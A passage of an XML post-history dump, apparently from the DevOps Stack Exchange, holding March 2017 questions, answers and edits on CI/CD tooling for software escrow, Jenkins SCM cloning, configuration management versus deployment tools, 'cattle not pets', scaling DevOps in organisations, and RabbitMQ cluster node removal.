escrow however:&#xD;&#xA;&#xD;&#xA; - **.NET Development**&#xD;&#xA;   - [GitHub][1] or [BitBucket][2] for source control&#xD;&#xA;   - [AppVeyor][3], [TeamCity][4] or [Jenkins][5] for the build and test elements of the pipeline.&#xD;&#xA;   - [Ansible][6], [Puppet][7] or [Chef][8] for the configuration management elements of the pipeline.&#xD;&#xA;   - [ProGet][9] for the package management elements of the pipeline&#xD;&#xA;   - [Octopus Deploy][10] for the deployment aspects of the pipeline&#xD;&#xA;&#xD;&#xA; - **Java Development, and to some extend Open Source platforms**&#xD;&#xA;   - [CircleCI][11], [TravisCI][12], [TeamCity][4] or [Jenkins][5] for the build and test elements of the pipeline.&#xD;&#xA;   - [Ansible][6], [Puppet][7] or [Chef][8] for the configuration management elements of the pipeline.&#xD;&#xA;   - [JFrog Artifactory][13] or [Sonartype Nexus][14] for the package management elements of the pipeline&#xD;&#xA;   - [Capistrano][15] for the deployment aspects of the pipeline&#xD;&#xA;&#xD;&#xA;At the end of the day if you are able to employ Infrastructure-as-code, Continuous Integration and Continuous Deployment principles to a software package it can be used to fulfil your obligations under a Software Escrow contract.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com&#xD;&#xA;  [2]: https://bitbucket.com&#xD;&#xA;  [3]: https://appveyor.com/&#xD;&#xA;  [4]: https://www.jetbrains.com/teamcity/&#xD;&#xA;  [5]: https://jenkins.io/&#xD;&#xA;  [6]: https://www.ansible.com/&#xD;&#xA;  [7]: https://puppet.com/&#xD;&#xA;  [8]: https://www.chef.io/chef/&#xD;&#xA;  [9]: https://inedo.com/proget&#xD;&#xA;  [10]: https://octopus.com/&#xD;&#xA;  [11]: https://circleci.com/&#xD;&#xA;  [12]: https://travis-ci.org/&#xD;&#xA;  [13]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [14]: http://www.sonatype.org/nexus/&#xD;&#xA;  [15]: http://capistranorb.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2064" PostHistoryTypeId="2" PostId="650" RevisionGUID="c30f8031-49ed-4804-b15b-f0b34aa613b1" CreationDate="2017-03-25T11:21:17.437" UserId="239" Text="I'm have integrated Jenkins with Bitbucket using the [Bitbucket Plugin][1]. As per the plugin's Wiki, a given job will be triggered if the repository is set in the SCM of the job. As you know, if one set SCM in a Jenkins job, this is cloned in pre-build stage.&#xD;&#xA;&#xD;&#xA;So far so good. However, the main purpose of the job I'm setting has nothing to do with the repository's content; instead, I just want the job to process the payload sent by Bitbucket. One could say it's not a big deal in terms of storage to clone a repository despite you really don't need it. I don't think so, adding unnecessary steps, consuming time and resources is not a good practice.&#xD;&#xA;&#xD;&#xA;So, the question is: **Does anyone know how to set an SCM in a Jenkins job but prevent it to clone the repository?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/BitBucket+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2065" PostHistoryTypeId="1" PostId="650" RevisionGUID="c30f8031-49ed-4804-b15b-f0b34aa613b1" CreationDate="2017-03-25T11:21:17.437" UserId="239" Text="Set a Jenkins job to not to clone the repo in SCM" ContentLicense="CC BY-SA 3.0" />
  <row Id="2066" PostHistoryTypeId="3" PostId="650" RevisionGUID="c30f8031-49ed-4804-b15b-f0b34aa613b1" CreationDate="2017-03-25T11:21:17.437" UserId="239" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2067" PostHistoryTypeId="2" PostId="651" RevisionGUID="b412d4ae-9759-4657-a6a5-5ae7a7f3201c" CreationDate="2017-03-25T11:35:33.293" UserId="397" Text="Off the back of my [answer][1] to the question: [How can DevOps help to improve Software Escrow procedures?][2] Tensabi had the question:&#xD;&#xA;&#xD;&#xA;&gt; What would necessitate Capistrano on top of puppet or chef?&#xD;&#xA;&#xD;&#xA;My response was to post a link to [Noah Gibbs' article &quot;Do We Need Both Capistrano and Chef?&quot;][3].  Personally, I still subscribe to Noah's view that it is most appropriate to:&#xD;&#xA;&#xD;&#xA; - use a specialist deployment tool such as Capistrano for deployments.&#xD;&#xA; - use a specialist configuration management tool such as Chef for configuration management.&#xD;&#xA;&#xD;&#xA;The fundamental approach that each type of tool uses to complete its task is very different:&#xD;&#xA;&#xD;&#xA; - **Configuration Management Tools** - are about creating and maintaining the desired state of a system, they are inherently idempotent in nature. Examples of configuration management tools are [Chef][4], [Puppet][5], [Ansible][6], [PowerShell DSC][7], [Salt Stack][8].&#xD;&#xA;&#xD;&#xA; - **Deployment Tools** - are about delivering *versions* of software into a hosting environment, they provide functionality to maintain multiple versions of the software on multiple machines and manage which version is &quot;current&quot;, they are inherently imperative in nature.  Examples of deployment tools are [Capistrano][9], [Octopus Deploy][10], [Deployer][11] and [Command.io][12].&#xD;&#xA;&#xD;&#xA;I do believe that Configuration Management Tools can do the job of deployment tools and in the case of [Immutable Infrastructure][13] they are the most appropriate tool for the job as software versions on the target don't need to be maintained.&#xD;&#xA;&#xD;&#xA;**Question:** Have configuration management tools such as Chef, Ansible and Puppet matured to the point that they are capable of fulfilling both the idempotent and imperative models?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/649/397&#xD;&#xA;  [2]: http://devops.stackexchange.com/q/646/397&#xD;&#xA;  [3]: http://codefol.io/posts/why-do-we-need-both-capistrano-and-chef&#xD;&#xA;  [4]: https://www.chef.io/chef/&#xD;&#xA;  [5]: https://puppet.com/&#xD;&#xA;  [6]: https://www.ansible.com/&#xD;&#xA;  [7]: https://msdn.microsoft.com/en-us/powershell/dsc/overview&#xD;&#xA;  [8]: https://saltstack.com/&#xD;&#xA;  [9]: http://capistranorb.com/&#xD;&#xA;  [10]: https://octopus.com&#xD;&#xA;  [11]: https://deployer.org/&#xD;&#xA;  [12]: https://commando.io/&#xD;&#xA;  [13]: https://www.oreilly.com/ideas/an-introduction-to-immutable-infrastructure" ContentLicense="CC BY-SA 3.0" />
  <row Id="2068" PostHistoryTypeId="1" PostId="651" RevisionGUID="b412d4ae-9759-4657-a6a5-5ae7a7f3201c" CreationDate="2017-03-25T11:35:33.293" UserId="397" Text="Are configuration management tools appropriate to use as deployment tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2069" PostHistoryTypeId="3" PostId="651" RevisionGUID="b412d4ae-9759-4657-a6a5-5ae7a7f3201c" CreationDate="2017-03-25T11:35:33.293" UserId="397" Text="&lt;ansible&gt;&lt;deployment&gt;&lt;chef&gt;&lt;configuration-management&gt;&lt;capistrano&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2071" PostHistoryTypeId="5" PostId="650" RevisionGUID="fff1f498-34a7-4dff-a52e-ace2e9bd29f0" CreationDate="2017-03-25T12:14:00.273" UserId="239" Comment="deleted 2 characters in body" Text="I have integrated Jenkins with Bitbucket using the [Bitbucket Plugin][1]. As per the plugin's Wiki, a given job will be triggered if the repository is set in the SCM of the job. As you know, if one set SCM in a Jenkins job, this is cloned in pre-build stage.&#xD;&#xA;&#xD;&#xA;So far so good. However, the main purpose of the job I'm setting has nothing to do with the repository's content; instead, I just want the job to process the payload sent by Bitbucket. One could say it's not a big deal in terms of storage to clone a repository despite you really don't need it. I don't think so, adding unnecessary steps, consuming time and resources is not a good practice.&#xD;&#xA;&#xD;&#xA;So, the question is: **Does anyone know how to set an SCM in a Jenkins job but prevent it to clone the repository?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/BitBucket+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2072" PostHistoryTypeId="2" PostId="653" RevisionGUID="9687fe54-7d15-490f-9228-d567d1699198" CreationDate="2017-03-25T13:23:01.333" UserId="397" Text="The term &quot;treat your servers like cattle not pets&quot; has proliferated in recent years, particularly when applied to Docker containers and Virtual Machines&#xD;&#xA;&#xD;&#xA;[![Pets vs. Cattle][1]][1]&#xD;&#xA;&#xD;&#xA;What does it actually mean?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Lm3Td.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="2073" PostHistoryTypeId="1" PostId="653" RevisionGUID="9687fe54-7d15-490f-9228-d567d1699198" CreationDate="2017-03-25T13:23:01.333" UserId="397" Text="What is the definition of &quot;cattle not pets&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2074" PostHistoryTypeId="3" PostId="653" RevisionGUID="9687fe54-7d15-490f-9228-d567d1699198" CreationDate="2017-03-25T13:23:01.333" UserId="397" Text="&lt;terminology&gt;&lt;snowflake-server&gt;&lt;cattle-vs-pet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2075" PostHistoryTypeId="2" PostId="654" RevisionGUID="3e25e048-997d-4c43-9b78-e664618a7ce3" CreationDate="2017-03-25T13:23:01.333" UserId="397" Text="Randy Bias [chronicles the history][1] of the term stating that it probably originated in 2011 or 2012 when Bill Baker used the analogy when describing &quot;scale-up&quot; vs. &quot;scale-out&quot; architectural strategies. Bias adopted this into his presentations about cloud architectural patterns:&#xD;&#xA;&#xD;&#xA;&gt; In the old way of doing things, we treat our servers like pets, for example Bob the mail server. If Bob goes down, it’s all hands on deck. The CEO can’t get his email and it’s the end of the world. In the new way, servers are numbered, like cattle in a herd. For example, www001 to www100. When one server goes down, it’s taken out back, shot, and replaced on the line.&#xD;&#xA;&#xD;&#xA;Bias continues to define Pets as&#xD;&#xA;&#xD;&#xA;&gt; Servers or server pairs that are treated as indispensable or unique systems that can never be down. Typically they are manually built, managed, and “hand fed”. Examples include mainframes, solitary servers, HA loadbalancers/firewalls (active/active or active/passive), database systems designed as master/slave (active/passive), and so on.&#xD;&#xA;&#xD;&#xA;and cattle as&#xD;&#xA;&#xD;&#xA;&gt; Arrays of more than two servers, that are built using automated tools, and are designed for failure, where no one, two, or even three servers are irreplaceable. Typically, during failure events no human intervention is required as the array exhibits attributes of “routing around failures” by restarting failed servers or replicating data through strategies like triple replication or erasure coding. Examples include web server arrays, multi-master datastores such as Cassandra clusters, multiple racks of gear put together in clusters, and just about anything that is load-balanced and multi-master.&#xD;&#xA;&#xD;&#xA;Fundamentally, what Bias and Baker are trying to convey is there has to be a transition from how we treat servers from being [&quot;Unique Snowflakes&quot;][2] with names and emotional attachments, to a model whereby if we have a problem with the server we create a replacement and destroy the problematic server.&#xD;&#xA;&#xD;&#xA;Finally, it is probably worth mentioning that in regulated environments taking a server out the back and shooting it may not be optimal.  In these cases it is often advantageous to &quot;freeze&quot; the server, for example using [`docker pause`][3] to freeze a container.  This can then be used to perform a [Root Cause Analysis][4] as part of the Incident or Problem Management Process.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/&#xD;&#xA;  [2]: https://dzone.com/articles/martin-fowler-snowflake&#xD;&#xA;  [3]: https://docs.docker.com/engine/reference/commandline/pause/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Root_cause_analysis" ContentLicense="CC BY-SA 3.0" />
  <row Id="2076" PostHistoryTypeId="2" PostId="655" RevisionGUID="7b467efc-8de1-44a2-a9a2-51e5f03f8165" CreationDate="2017-03-25T13:28:57.127" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2077" PostHistoryTypeId="1" PostId="655" RevisionGUID="7b467efc-8de1-44a2-a9a2-51e5f03f8165" CreationDate="2017-03-25T13:28:57.127" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2078" PostHistoryTypeId="2" PostId="656" RevisionGUID="c6f6a0d8-bd45-4e14-a60f-91adc6af2a29" CreationDate="2017-03-25T13:28:57.127" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2079" PostHistoryTypeId="1" PostId="656" RevisionGUID="c6f6a0d8-bd45-4e14-a60f-91adc6af2a29" CreationDate="2017-03-25T13:28:57.127" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2080" PostHistoryTypeId="2" PostId="657" RevisionGUID="0f2164b5-0fad-4449-a9e5-ef8d38b672cf" CreationDate="2017-03-25T13:28:59.370" UserId="47" Text="In such context the typical advice should be immediately applicable: use the right tool for the job.&#xD;&#xA;&#xD;&#xA;But then you also cannot ignore nowadays the almost virulent tendency of software *tools* to extend functionality into more or less related fields and actually become *toolsets* for various reasons: cool feature(s) to have, expand customer base, amass more revenue, etc. &#xD;&#xA;&#xD;&#xA;For example many file management tools include image viewing features and many image processing tools include file management features. You can move files around and you can view images with either of the tools, often equally well.&#xD;&#xA;&#xD;&#xA;Because of this it's quite possible to have entire portions of the software development process covered/overlapped by multiple tool(sets) even if their main feature/capability differs.&#xD;&#xA;&#xD;&#xA;So it really boils down to the exact functionality *you* want to achieve in *your particular process* and how well one tool or the other does the job *in your context*. Subjectivity/preferences/convenience included. &#xD;&#xA;&#xD;&#xA;Making this question primarily opinion-based ;)" ContentLicense="CC BY-SA 3.0" />
  <row Id="2081" PostHistoryTypeId="2" PostId="658" RevisionGUID="8151e107-9242-443f-9c31-9d24a8551d43" CreationDate="2017-03-25T13:37:34.273" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2082" PostHistoryTypeId="1" PostId="658" RevisionGUID="8151e107-9242-443f-9c31-9d24a8551d43" CreationDate="2017-03-25T13:37:34.273" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2083" PostHistoryTypeId="2" PostId="659" RevisionGUID="d510047b-755f-4200-a6a2-edaeddce131d" CreationDate="2017-03-25T13:37:34.273" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2084" PostHistoryTypeId="1" PostId="659" RevisionGUID="d510047b-755f-4200-a6a2-edaeddce131d" CreationDate="2017-03-25T13:37:34.273" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2085" PostHistoryTypeId="2" PostId="660" RevisionGUID="8705e0d7-0a8e-47e2-9fe5-1de12a40dcd2" CreationDate="2017-03-25T14:30:10.273" UserId="397" Text="In the UK we defined a large business as, a business that is:&#xD;&#xA;&#xD;&#xA;&gt; Greater than or equal to 250 employees, regardless of revenue, or, if the number of employees is unknown, then revenue of greater than or equal to £22.8m/$22.8m will be taken as an indicator that it is a large business. -- [The Company Warehouse][1]&#xD;&#xA;&#xD;&#xA;How do large businesses that employ multiple development teams implement DevOps in a structured manner?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.thecompanywarehouse.co.uk/blog/what-is-an-sme" ContentLicense="CC BY-SA 3.0" />
  <row Id="2086" PostHistoryTypeId="1" PostId="660" RevisionGUID="8705e0d7-0a8e-47e2-9fe5-1de12a40dcd2" CreationDate="2017-03-25T14:30:10.273" UserId="397" Text="How is DevOps applied in large businesses?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2087" PostHistoryTypeId="3" PostId="660" RevisionGUID="8705e0d7-0a8e-47e2-9fe5-1de12a40dcd2" CreationDate="2017-03-25T14:30:10.273" UserId="397" Text="&lt;operating-model&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2088" PostHistoryTypeId="2" PostId="661" RevisionGUID="0c5fc9cf-a03a-4a7b-acc3-2810cbd9b66b" CreationDate="2017-03-25T14:30:10.273" UserId="397" Text="Large enterprises will commonly adopt a delivery framework, or operating model, that has been built to support large enterprises.  From an Agile/DevOps perspective, which is my area of expertise there are three frameworks of interest:&#xD;&#xA;&#xD;&#xA; - **[Scaled Agile Framework (SAFe®)][1]** defines [DevOps][2] as delivering business value through the successful operation of software in an environment.  This is achieved by giving early attention to the act of &quot;moving into production&quot; and accomplished, in part, by integrating personnel from the operations function within the Agile Teams.&#xD;&#xA;&#xD;&#xA; - **[Disciplined Agile 2.X][3]**, also known as DAD, defines [DevOps][4] as &quot;DevOps is the streamlining of the activities surrounding IT solution development and IT operations.&quot; this is achieved by building feedback loops between the development and operations functions within the business.  DAD goes on to describe Disciplined DevOps as the intersection between the following roles: Enterprise Architecture, IT Operations, Business Operations, Release Management, Data Management and Development.&#xD;&#xA;&#xD;&#xA; - **[Large Scaled Scrum][5]** does not specifically call out DevOps, Release Engineering or Platform Engineering; however, it does describe a methodology for scaling out Scrum in an organisation that is growing fast, integrating a DevOps specialism within these teams is both logical and well understood.&#xD;&#xA;&#xD;&#xA;As far as I am aware there are no statistical data about the enterprise adoption of each of these frameworks and whether they have adopted DevOps practices in addition to Agile practices, however from experience many organisations appear to gravitate towards Scaled Agile Framework.&#xD;&#xA;&#xD;&#xA;Kristof Horvath discusses the application of DevOps in these enterprise-grade agile frameworks in his article: [Scaling Agile in Large Enterprises: LeSS, DAD or SAFe®?][6].&#xD;&#xA;&#xD;&#xA;It is worth noting that adopting an &quot;enterprise-grade&quot; framework is not a requirement in an enterprise, at the end of the day Agile, DevOps and Lean are about adopting the right practices for your organisation, not the most popular ones.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.scaledagileframework.com/&#xD;&#xA;  [2]: http://www.scaledagileframework.com/devops/&#xD;&#xA;  [3]: http://www.disciplinedagiledelivery.com&#xD;&#xA;  [4]: http://www.disciplinedagiledelivery.com/disciplineddevops/&#xD;&#xA;  [5]: http://less.works/&#xD;&#xA;  [6]: https://intland.com/blog/agile/safe/scaling-agile-in-large-enterprises-less-dad-or-safe/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2089" PostHistoryTypeId="2" PostId="662" RevisionGUID="00ceb65d-2233-4d7d-88a3-5ea8e07467b4" CreationDate="2017-03-25T14:32:06.847" UserId="342" Text="I am planning to create RabbitMQ cluster using Ansible on AWS VPC with Amazon internal load balancer as the frontend to point connections to it.&#xD;&#xA;&#xD;&#xA;Beside that clustering gives high availability in that the queue's can failover to a slave node, but is it doing anything to improve scalability/load ?&#xD;&#xA;&#xD;&#xA;AFAIK, when traffic comes into the cluster, the node receiving traffic determines which node has the active queue and then forwards traffic to it.&#xD;&#xA;&#xD;&#xA;What do you use for HA RabbitMQ cluster ? what am I missing here?&#xD;&#xA;&#xD;&#xA;Any suggestion how to remove a dead node from RabbitMQ cluster based on autoscaling rule where nodes can go up and down, or if you are using spot instances ?&#xD;&#xA;&#xD;&#xA;When a node goes down, RabbitMQ does not remove it from the replication list automatically, I can see `Node not running` in the management UI.&#xD;&#xA;I managed to join to the cluster a scaled instance automatically via ansible and userdata.&#xD;&#xA;&#xD;&#xA;Which policy do you suggest for 2/3-node cluster?&#xD;&#xA;&#xD;&#xA;Is it ok to start with this policy ` rabbitmqctl set_policy ha-all &quot;&quot; '{&quot;ha-mode&quot;:&quot;all&quot;,&quot;ha-sync-mode&quot;:&quot;automatic&quot;}' ` ?&#xD;&#xA;&#xD;&#xA;No `rabbitmq` tag on `http://devops.stackexchange.com`.." ContentLicense="CC BY-SA 3.0" />
  <row Id="2090" PostHistoryTypeId="1" PostId="662" RevisionGUID="00ceb65d-2233-4d7d-88a3-5ea8e07467b4" CreationDate="2017-03-25T14:32:06.847" UserId="342" Text="Autoscaling RabbitMQ Highly Available Queues and Clustering" ContentLicense="CC BY-SA 3.0" />
  <row Id="2091" PostHistoryTypeId="3" PostId="662" RevisionGUID="00ceb65d-2233-4d7d-88a3-5ea8e07467b4" CreationDate="2017-03-25T14:32:06.847" UserId="342" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2092" PostHistoryTypeId="6" PostId="662" RevisionGUID="2bfc4513-bd32-4f6d-84c7-fe6c76f1a515" CreationDate="2017-03-25T14:55:09.467" UserId="342" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;rabbitmq&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2093" PostHistoryTypeId="5" PostId="662" RevisionGUID="f2546553-1ce6-4b2b-9a76-0e0042c45f45" CreationDate="2017-03-25T15:11:18.383" UserId="40" Comment="deleted 24 characters in body" Text="I am planning to create RabbitMQ cluster using Ansible on AWS VPC with Amazon internal load balancer as the frontend to point connections to it.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;1. Beside that clustering gives high availability in that the queue's can failover to a slave node, but is it doing anything to improve scalability/load ?&#xD;&#xA;&#xD;&#xA;  AFAIK, when traffic comes into the cluster, the node receiving traffic determines which node has the active queue and then forwards traffic to it.&#xD;&#xA;&#xD;&#xA;2. What do you use for HA RabbitMQ cluster ? what am I missing here?&#xD;&#xA;&#xD;&#xA;3. Any suggestion how to remove a dead node from RabbitMQ cluster based on autoscaling rule where nodes can go up and down, or if you are using spot instances ?&#xD;&#xA;&#xD;&#xA;4. When a node goes down, RabbitMQ does not remove it from the replication list automatically, I can see `Node not running` in the management UI.&#xD;&#xA;I managed to join to the cluster a scaled instance automatically via ansible and userdata.&#xD;&#xA;&#xD;&#xA;  Which policy do you suggest for 2/3-node cluster?&#xD;&#xA;&#xD;&#xA;5. Is it ok to start with this policy ` rabbitmqctl set_policy ha-all &quot;&quot; '{&quot;ha-mode&quot;:&quot;all&quot;,&quot;ha-sync-mode&quot;:&quot;automatic&quot;}' ` ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2094" PostHistoryTypeId="5" PostId="662" RevisionGUID="93bdf834-2bc2-4120-89ba-0f1140e41b18" CreationDate="2017-03-25T15:30:43.247" UserId="342" Comment="deleted 573 characters in body; edited title" Text="I am planning to create RabbitMQ cluster using Ansible on AWS VPC with Amazon internal load balancer as the frontend to point connections to it.&#xD;&#xA;&#xD;&#xA;Any suggestion how to remove a dead node from RabbitMQ cluster based on autoscaling rule where nodes can go up and down, or if you are using spot instances ?&#xD;&#xA;&#xD;&#xA;When a node goes down, RabbitMQ does not remove it from the replication list automatically, I can see `Node not running` in the management UI.&#xD;&#xA;&#xD;&#xA;I managed to join to the cluster a scaled instance automatically via ansible and userdata.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2095" PostHistoryTypeId="4" PostId="662" RevisionGUID="93bdf834-2bc2-4120-89ba-0f1140e41b18" CreationDate="2017-03-25T15:30:43.247" UserId="342" Comment="deleted 573 characters in body; edited title" Text="How to remove automatically a dead node from RabbitMQ cluster" ContentLicense="CC BY-SA 3.0" />
  <row Id="2096" PostHistoryTypeId="4" PostId="662" RevisionGUID="f094cb1a-bdf8-49c3-9448-f4285cd69cb8" CreationDate="2017-03-25T16:18:02.883" UserId="47" Comment="improved readability" Text="How to automatically remove a dead node from RabbitMQ cluster" ContentLicense="CC BY-SA 3.0" />
  <row Id="2097" PostHistoryTypeId="5" PostId="662" RevisionGUID="aab271c2-1f86-4757-8a37-6b590835c831" CreationDate="2017-03-25T16:42:43.887" UserId="14" Comment="Capitalisation; spacing before question mark; remove thanks line (instead, upvote good answers)" Text="I am planning to create RabbitMQ cluster using Ansible on AWS VPC with Amazon internal load balancer as the frontend to point connections to it.&#xD;&#xA;&#xD;&#xA;Any suggestion how to remove a dead node from RabbitMQ cluster based on autoscaling rule where nodes can go up and down, or if you are using spot instances?&#xD;&#xA;&#xD;&#xA;When a node goes down, RabbitMQ does not remove it from the replication list automatically, I can see `Node not running` in the management UI.&#xD;&#xA;&#xD;&#xA;I managed to join to the cluster a scaled instance automatically via Ansible and userdata." ContentLicense="CC BY-SA 3.0" />
  <row Id="2098" PostHistoryTypeId="24" PostId="662" RevisionGUID="aab271c2-1f86-4757-8a37-6b590835c831" CreationDate="2017-03-25T16:42:43.887" Comment="Proposed by 14 approved by 342 edit id of 191" ContentLicense="CC BY-SA 3.0" />
  <row Id="2099" PostHistoryTypeId="11" PostId="599" RevisionGUID="b3c0a806-13c3-45f7-9e8c-8cf79a559809" CreationDate="2017-03-25T16:49:43.673" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:132,&quot;DisplayName&quot;:&quot;Woodland Hunter&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:397,&quot;DisplayName&quot;:&quot;Richard Slater&quot;}]}" />
  <row Id="2100" PostHistoryTypeId="2" PostId="663" RevisionGUID="1aab2d1b-eff2-4e6c-9e91-2b38dcdec99e" CreationDate="2017-03-25T16:58:11.867" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2101" PostHistoryTypeId="1" PostId="663" RevisionGUID="1aab2d1b-eff2-4e6c-9e91-2b38dcdec99e" CreationDate="2017-03-25T16:58:11.867" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2102" PostHistoryTypeId="2" PostId="664" RevisionGUID="b7bb7b43-cbd2-474d-ab1a-a5a881291e34" CreationDate="2017-03-25T16:58:11.867" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2103" PostHistoryTypeId="1" PostId="664" RevisionGUID="b7bb7b43-cbd2-474d-ab1a-a5a881291e34" CreationDate="2017-03-25T16:58:11.867" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2104" PostHistoryTypeId="5" PostId="660" RevisionGUID="db7e1fd4-f7cc-4afd-b046-fcb420ac47e7" CreationDate="2017-03-25T17:14:01.863" UserId="397" Comment="Re-wrote Question and Body." Text="Adding DevOps practices to a single development team is a relatively simple proposition as it usually comes down to introducing either people to the team to build up a DevOps, Release Engineering or Platform Engineering capability within an organisation.&#xD;&#xA;&#xD;&#xA;How can this be achieved in a consistent manner in a large organisation that has multiple different teams, potentially in multiple separate business units.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.thecompanywarehouse.co.uk/blog/what-is-an-sme" ContentLicense="CC BY-SA 3.0" />
  <row Id="2105" PostHistoryTypeId="4" PostId="660" RevisionGUID="db7e1fd4-f7cc-4afd-b046-fcb420ac47e7" CreationDate="2017-03-25T17:14:01.863" UserId="397" Comment="Re-wrote Question and Body." Text="How do large businesses that employ multiple development teams implement DevOps in a structured manner?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2106" PostHistoryTypeId="5" PostId="660" RevisionGUID="a6415b96-c2f9-4f94-9d46-fd8b1fc51e2f" CreationDate="2017-03-25T17:38:58.193" UserId="397" Comment="Removed Large from Title and Question" Text="Adding DevOps practices to a single development team is a relatively simple proposition as it usually comes down to introducing either people to the team to build up a DevOps, Release Engineering or Platform Engineering capability within an organisation.&#xD;&#xA;&#xD;&#xA;How can this be achieved in a consistent manner in a organisation that has a large number multiple different teams, potentially in multiple separate business units?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.thecompanywarehouse.co.uk/blog/what-is-an-sme" ContentLicense="CC BY-SA 3.0" />
  <row Id="2107" PostHistoryTypeId="4" PostId="660" RevisionGUID="a6415b96-c2f9-4f94-9d46-fd8b1fc51e2f" CreationDate="2017-03-25T17:38:58.193" UserId="397" Comment="Removed Large from Title and Question" Text="How do businesses that employ multiple development teams implement DevOps in a structured manner?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2108" PostHistoryTypeId="5" PostId="660" RevisionGUID="875e1c85-d40d-47a2-84b1-60a98afbcf83" CreationDate="2017-03-25T17:45:03.407" UserId="397" Comment="Added pitfals." Text="Adding DevOps practices to a single development team is a relatively simple proposition as it usually comes down to introducing either people to the team to build up a DevOps, Release Engineering or Platform Engineering capability within an organisation.&#xD;&#xA;&#xD;&#xA;Some of the pitfalls organisations are trying to avoid are:&#xD;&#xA;&#xD;&#xA; - Inability to report progress consistently across multiple development teams, for example, if one team reports their progress in terms of the number of equally sized stories completed in 2 weeks; whereas another team reports in storypoints completed in a three-week sprint.&#xD;&#xA; - Inconsistent application of a practice means team members can not easily move between teams within the same organisation without learning new ways of working.&#xD;&#xA; - Mismatches in development cadence across multiple teams makes coordinating dependent releases difficult.&#xD;&#xA;&#xD;&#xA;How can this be achieved in a consistent manner in an organisation that has a large number of development teams, potentially in multiple separate business units?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.thecompanywarehouse.co.uk/blog/what-is-an-sme" ContentLicense="CC BY-SA 3.0" />
  <row Id="2109" PostHistoryTypeId="5" PostId="660" RevisionGUID="c5815312-80eb-429c-80f9-b27cd72037ef" CreationDate="2017-03-25T18:07:59.713" UserId="397" Comment="Added Image" Text="Adding DevOps practices to a single development team is a relatively simple proposition as it usually comes down to introducing either people to the team to build up a DevOps, Release Engineering or Platform Engineering capability within an organisation.&#xD;&#xA;&#xD;&#xA;[![Organization Structure][1]][1]&#xD;&#xA;&#xD;&#xA;Some of the pitfalls organisations are trying to avoid are:&#xD;&#xA;&#xD;&#xA; - Inability to report progress consistently across multiple development teams, for example, if one team reports their progress in terms of the number of equally sized stories completed in 2 weeks; whereas another team reports in storypoints completed in a three-week sprint.&#xD;&#xA; - Inconsistent application of a practice means team members can not easily move between teams within the same organisation without learning new ways of working.&#xD;&#xA; - Mismatches in development cadence across multiple teams makes coordinating dependent releases difficult.&#xD;&#xA;&#xD;&#xA;How can this be achieved in a consistent manner in an organisation that has a large number of development teams, potentially in multiple separate business units?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GiXGI.png" ContentLicense="CC BY-SA 3.0" />
